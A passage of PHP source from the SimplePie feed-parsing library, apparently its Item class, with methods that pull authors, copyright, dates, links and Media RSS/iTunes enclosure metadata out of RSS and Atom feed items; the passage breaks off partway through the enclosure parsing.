{ $uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0])); } if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $authors[] = $this->registry->create('Author', array($name, $uri, $email)); } } if ($author = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author')) { $name = null; $url = null; $email = null; if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0])); } if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $authors[] = $this->registry->create('Author', array($name, $url, $email)); } } if ($author = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'author')) { $authors[] = $this->registry->create('Author', array(null, null, $this->sanitize($author[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT))); } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } if (!empty($authors)) { return array_unique($authors); } elseif (($source = $this->get_source()) && ($authors = $source->get_authors())) { return $authors; } elseif ($authors = $this->feed->get_authors()) { return $authors; } else { return null; } } /** * Get the copyright info for the item * * Uses `<atom:rights>` or `<dc:rights>` * * @since 1.1 * @return string */ public function get_copyright() { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { return null; } } /** * Get the posting date/time for the item * * Uses `<atom:published>`, `<atom:updated>`, `<atom:issued>`, * `<atom:modified>`, `<pubDate>` or `<dc:date>` * * Note: obeys PHP's timezone setting. To get a UTC date/time, use * {@see get_gmdate} * * @since Beta 2 (previously called `get_item_date` since 0.8) * * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data) * @return int|string|null */ public function get_date($date_format = 'j F Y, g:i a') { if (!isset($this->data['date'])) { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'published')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'updated')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'issued')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'created')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'modified')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'pubDate')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'date')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'date')) { $this->data['date']['raw'] = $return[0]['data']; } if (!empty($this->data['date']['raw'])) { $parser = $this->registry->call('Parse_Date', 'get'); $this->data['date']['parsed'] = $parser->parse($this->data['date']['raw']); } else { $this->data['date'] = null; } } if ($this->data['date']) { $date_format = (string) $date_format; switch ($date_format) { case '': return $this->sanitize($this->data['date']['raw'], SIMPLEPIE_CONSTRUCT_TEXT); case 'U': return $this->data['date']['parsed']; default: return date($date_format, $this->data['date']['parsed']); } } else { return null; } } /** * Get the update date/time for the item * * Uses `<atom:updated>` * * Note: obeys PHP's timezone setting. To get a UTC date/time, use * {@see get_gmdate} * * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data) * @return int|string|null */ public function get_updated_date($date_format = 'j F Y, g:i a') { if (!isset($this->data['updated'])) { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'updated')) { $this->data['updated']['raw'] = $return[0]['data']; } if (!empty($this->data['updated']['raw'])) { $parser = $this->registry->call('Parse_Date', 'get'); $this->data['updated']['parsed'] = $parser->parse($this->data['date']['raw']); } else { $this->data['updated'] = null; } } if ($this->data['updated']) { $date_format = (string) $date_format; switch ($date_format) { case '': return $this->sanitize($this->data['updated']['raw'], SIMPLEPIE_CONSTRUCT_TEXT); case 'U': return $this->data['updated']['parsed']; default: return date($date_format, $this->data['updated']['parsed']); } } else { return null; } } /** * Get the localized posting date/time for the item * * Returns the date formatted in the localized language. To display in * languages other than the server's default, you need to change the locale * with {@link http://php.net/setlocale setlocale()}. The available * localizations depend on which ones are installed on your web server. * * @since 1.0 * * @param string $date_format Supports any PHP date format from {@see http://php.net/strftime} (empty for the raw data) * @return int|string|null */ public function get_local_date($date_format = '%c') { if (!$date_format) { return $this->sanitize($this->get_date(''), SIMPLEPIE_CONSTRUCT_TEXT); } elseif (($date = $this->get_date('U')) !== null && $date !== false) { return strftime($date_format, $date); } else { return null; } } /** * Get the posting date/time for the item (UTC time) * * @see get_date * @param string $date_format Supports any PHP date format from {@see http://php.net/date} * @return int|string|null */ public function get_gmdate($date_format = 'j F Y, g:i a') { $date = $this->get_date('U'); if ($date === null) { return null; } return gmdate($date_format, $date); } /** * Get the update date/time for the item (UTC time) * * @see get_updated_date * @param string $date_format Supports any PHP date format from {@see http://php.net/date} * @return int|string|null */ public function get_updated_gmdate($date_format = 'j F Y, g:i a') { $date = $this->get_updated_date('U'); if ($date === null) { return null; } return gmdate($date_format, $date); } /** * Get the permalink for the item * * Returns the first link available with a relationship of "alternate". * Identical to {@see get_link()} with key 0 * * @see get_link * @since 0.8 * @return string|null Permalink URL */ public function get_permalink() { $link = $this->get_link(); $enclosure = $this->get_enclosure(0); if ($link !== null) { return $link; } elseif ($enclosure !== null) { return $enclosure->get_link(); } else { return null; } } /** * Get a single link for the item * * @since Beta 3 * @param int $key The link that you want to return. Remember that arrays begin with 0, not 1 * @param string $rel The relationship of the link to return * @return string|null Link URL */ public function get_link($key = 0, $rel = 'alternate') { $links = $this->get_links($rel); if ($links[$key] !== null) { return $links[$key]; } else { return null; } } /** * Get all links for the item * * Uses `<atom:link>`, `<link>` or `<guid>` * * @since Beta 2 * @param string $rel The relationship of links to return * @return array|null Links found for the item (strings) */ public function get_links($rel = 'alternate') { if (!isset($this->data['links'])) { $this->data['links'] = array(); foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link') as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); } } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link') as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); } } if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'guid')) { if (!isset($links[0]['attribs']['']['isPermaLink']) || strtolower(trim($links[0]['attribs']['']['isPermaLink'])) === 'true') { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } } $keys = array_keys($this->data['links']); foreach ($keys as $key) { if ($this->registry->call('Misc', 'is_isegment_nz_nc', array($key))) { if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key])) { $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]); $this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]; } else { $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key]; } } elseif (substr($key, 0, 41) === SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY) { $this->data['links'][substr($key, 41)] =& $this->data['links'][$key]; } $this->data['links'][$key] = array_unique($this->data['links'][$key]); } } if (isset($this->data['links'][$rel])) { return $this->data['links'][$rel]; } else { return null; } } /** * Get an enclosure from the item * * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS. * * @since Beta 2 * @todo Add ability to prefer one type of content over another (in a media group). * @param int $key The enclosure that you want to return. Remember that arrays begin with 0, not 1 * @return SimplePie_Enclosure|null */ public function get_enclosure($key = 0, $prefer = null) { $enclosures = $this->get_enclosures(); if (isset($enclosures[$key])) { return $enclosures[$key]; } else { return null; } } /** * Get all available enclosures (podcasts, etc.) * * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS. * * At this point, we're pretty much assuming that all enclosures for an item * are the same content. Anything else is too complicated to * properly support. * * @since Beta 2 * @todo Add support for end-user defined sorting of enclosures by type/handler (so we can prefer the faster-loading FLV over MP4). * @todo If an element exists at a level, but it's value is empty, we should fall back to the value from the parent (if it exists). * @return array|null List of SimplePie_Enclosure items */ public function get_enclosures() { if (!isset($this->data['enclosures'])) { $this->data['enclosures'] = array(); // Elements $captions_parent = null; $categories_parent = null; $copyrights_parent = null; $credits_parent = null; $description_parent = null; $duration_parent = null; $hashes_parent = null; $keywords_parent = null; $player_parent = null; $ratings_parent = null; $restrictions_parent = null; $thumbnails_parent = null; $title_parent = null; // Let's do the channel and item-level ones first, and just re-use them if we need to. $parent = $this->get_feed(); // CAPTIONS if ($captions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'text')) { foreach ($captions as $caption) { $caption_type = null; $caption_lang = null; $caption_startTime = null; $caption_endTime = null; $caption_text = null; if (isset($caption['attribs']['']['type'])) { $caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['lang'])) { $caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['start'])) { $caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['end'])) { $caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['data'])) { $caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $captions_parent[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text)); } } elseif ($captions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'text')) { foreach ($captions as $caption) { $caption_type = null; $caption_lang = null; $caption_startTime = null; $caption_endTime = null; $caption_text = null; if (isset($caption['attribs']['']['type'])) { $caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['lang'])) { $caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['start'])) { $caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['end'])) { $caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['data'])) { $caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $captions_parent[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text)); } } if (is_array($captions_parent)) { $captions_parent = array_values(array_unique($captions_parent)); } // CATEGORIES foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'category') as $category) { $term = null; $scheme = null; $label = null; if (isset($category['data'])) { $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = 'http://search.yahoo.com/mrss/category_schema'; } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label)); } foreach ((array) $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'category') as $category) { $term = null; $scheme = null; $label = null; if (isset($category['data'])) { $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = 'http://search.yahoo.com/mrss/category_schema'; } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label)); } foreach ((array) $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'category') as $category) { $term = null; $scheme = 'http://www.itunes.com/dtds/podcast-1.0.dtd'; $label = null; if (isset($category['attribs']['']['text'])) { $label = $this->sanitize($category['attribs']['']['text'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label)); if (isset($category['child'][SIMPLEPIE_NAMESPACE_ITUNES]['category'])) { foreach ((array) $category['child'][SIMPLEPIE_NAMESPACE_ITUNES]['category'] as $subcategory) { if (isset($subcategory['attribs']['']['text'])) { $label = $this->sanitize($subcategory['attribs']['']['text'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label)); } } } if (is_array($categories_parent)) { $categories_parent = array_values(array_unique($categories_parent)); } // COPYRIGHT if ($copyright = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'copyright')) { $copyright_url = null; $copyright_label = null; if (isset($copyright[0]['attribs']['']['url'])) { $copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($copyright[0]['data'])) { $copyright_label = $this->sanitize($copyright[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $copyrights_parent = $this->registry->create('Copyright', array($copyright_url, $copyright_label)); } elseif ($copyright = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'copyright')) { $copyright_url = null; $copyright_label = null; if (isset($copyright[0]['attribs']['']['url'])) { $copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($copyright[0]['data'])) { $copyright_label = $this->sanitize($copyright[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $copyrights_parent = $this->registry->create('Copyright', array($copyright_url, $copyright_label)); } // CREDITS if ($credits = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'credit')) { foreach ($credits as $credit) { $credit_role = null; $credit_scheme = null; $credit_name = null; if (isset($credit['attribs']['']['role'])) { $credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($credit['attribs']['']['scheme'])) { $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $credit_scheme = 'urn:ebu'; } if (isset($credit['data'])) { $credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $credits_parent[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name)); } } elseif ($credits = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'credit')) { foreach ($credits as $credit) { $credit_role = null; $credit_scheme = null; $credit_name = null; if (isset($credit['attribs']['']['role'])) { $credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($credit['attribs']['']['scheme'])) { $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $credit_scheme = 'urn:ebu'; } if (isset($credit['data'])) { $credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $credits_parent[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name)); } } if (is_array($credits_parent)) { $credits_parent = array_values(array_unique($credits_parent)); } // DESCRIPTION if ($description_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'description')) { if (isset($description_parent[0]['data'])) { $description_parent = $this->sanitize($description_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } } elseif ($description_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'description')) { if (isset($description_parent[0]['data'])) { $description_parent = $this->sanitize($description_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } } // DURATION if ($duration_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'duration')) { $seconds = null; $minutes = null; $hours = null; if (isset($duration_parent[0]['data'])) { $temp = explode(':', $this->sanitize($duration_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); if (sizeof($temp) > 0) { $seconds = (int) array_pop($temp); } if (sizeof($temp) > 0) { $minutes = (int) array_pop($temp); $seconds += $minutes * 60; } if (sizeof($temp) > 0) { $hours = (int) array_pop($temp); $seconds += $hours * 3600; } unset($temp); $duration_parent = $seconds; } } // HASHES if ($hashes_iterator = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'hash')) { foreach ($hashes_iterator as $hash) { $value = null; $algo = null; if (isset($hash['data'])) { $value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($hash['attribs']['']['algo'])) { $algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $algo = 'md5'; } $hashes_parent[] = $algo.':'.$value; } } elseif ($hashes_iterator = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'hash')) { foreach ($hashes_iterator as $hash) { $value = null; $algo = null; if (isset($hash['data'])) { $value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($hash['attribs']['']['algo'])) { $algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $algo = 'md5'; } $hashes_parent[] = $algo.':'.$value; } } if (is_array($hashes_parent)) { $hashes_parent = array_values(array_unique($hashes_parent)); } // KEYWORDS if ($keywords = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'keywords')) { if (isset($keywords[0]['data'])) { $temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords_parent[] = trim($word); } } unset($temp); } elseif ($keywords = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'keywords')) { if (isset($keywords[0]['data'])) { $temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords_parent[] = trim($word); } } unset($temp); } elseif ($keywords = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'keywords')) { if (isset($keywords[0]['data'])) { $temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords_parent[] = trim($word); } } unset($temp); } elseif ($keywords = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'keywords')) { if (isset($keywords[0]['data'])) { $temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords_parent[] = trim($word); } } unset($temp); } if (is_array($keywords_parent)) { $keywords_parent = array_values(array_unique($keywords_parent)); } // PLAYER if ($player_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'player')) { if (isset($player_parent[0]['attribs']['']['url'])) { $player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } } elseif ($player_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'player')) { if (isset($player_parent[0]['attribs']['']['url'])) { $player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } } // RATINGS if ($ratings = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'rating')) { foreach ($ratings as $rating) { $rating_scheme = null; $rating_value = null; if (isset($rating['attribs']['']['scheme'])) { $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $rating_scheme = 'urn:simple'; } if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value)); } } elseif ($ratings = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'explicit')) { foreach ($ratings as $rating) { $rating_scheme = 'urn:itunes'; $rating_value = null; if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value)); } } elseif ($ratings = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'rating')) { foreach ($ratings as $rating) { $rating_scheme = null; $rating_value = null; if (isset($rating['attribs']['']['scheme'])) { $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $rating_scheme = 'urn:simple'; } if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value)); } } elseif ($ratings = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'explicit')) { foreach ($ratings as $rating) { $rating_scheme = 'urn:itunes'; $rating_value = null; if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value)); } } if (is_array($ratings_parent)) { $ratings_parent = array_values(array_unique($ratings_parent)); } // RESTRICTIONS if ($restrictions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'restriction')) { foreach ($restrictions as $restriction) { $restriction_relationship = null; $restriction_type = null; $restriction_value = null; if (isset($restriction['attribs']['']['relationship'])) { $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['attribs']['']['type'])) { $restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['data'])) { $restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value)); } } elseif ($restrictions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'block')) { foreach ($restrictions as $restriction) { $restriction_relationship = 'allow'; $restriction_type = null; $restriction_value = 'itunes'; if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes') { $restriction_relationship = 'deny'; } $restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value)); } } elseif ($restrictions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'restriction')) { foreach ($restrictions as $restriction) { $restriction_relationship = null; $restriction_type = null; $restriction_value = null; if (isset($restriction['attribs']['']['relationship'])) { $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['attribs']['']['type'])) { $restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['data'])) { $restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value)); } } elseif ($restrictions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'block')) { foreach ($restrictions as $restriction) { $restriction_relationship = 'allow'; $restriction_type = null; $restriction_value = 'itunes'; if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes') { $restriction_relationship = 'deny'; } $restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value)); } } if (is_array($restrictions_parent)) { $restrictions_parent = array_values(array_unique($restrictions_parent)); } else { $restrictions_parent = array(new SimplePie_Restriction('allow', null, 'default')); } // THUMBNAILS if ($thumbnails = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail')) { foreach ($thumbnails as $thumbnail) { if (isset($thumbnail['attribs']['']['url'])) { $thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } } } elseif ($thumbnails = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail')) { foreach ($thumbnails as $thumbnail) { if (isset($thumbnail['attribs']['']['url'])) { $thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } } } // TITLES if ($title_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'title')) { if (isset($title_parent[0]['data'])) { $title_parent = $this->sanitize($title_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } } elseif ($title_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'title')) { if (isset($title_parent[0]['data'])) { $title_parent = $this->sanitize($title_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } } // Clear the memory unset($parent); // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; // Elements $captions = null; $categories = null; $copyrights = null; $credits = null; $description = null; $hashes = null; $keywords = null; $player = null; $ratings = null; $restrictions = null; $thumbnails = null; $title = null; // If we have media:group tags, loop through them. foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'group') as $group) { if(isset($group['child']) && isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'])) { // If we have media:content tags, loop through them. foreach ((array) $group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'] as $content) { if (isset($content['attribs']['']['url'])) { // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; // Elements $captions = null; $categories 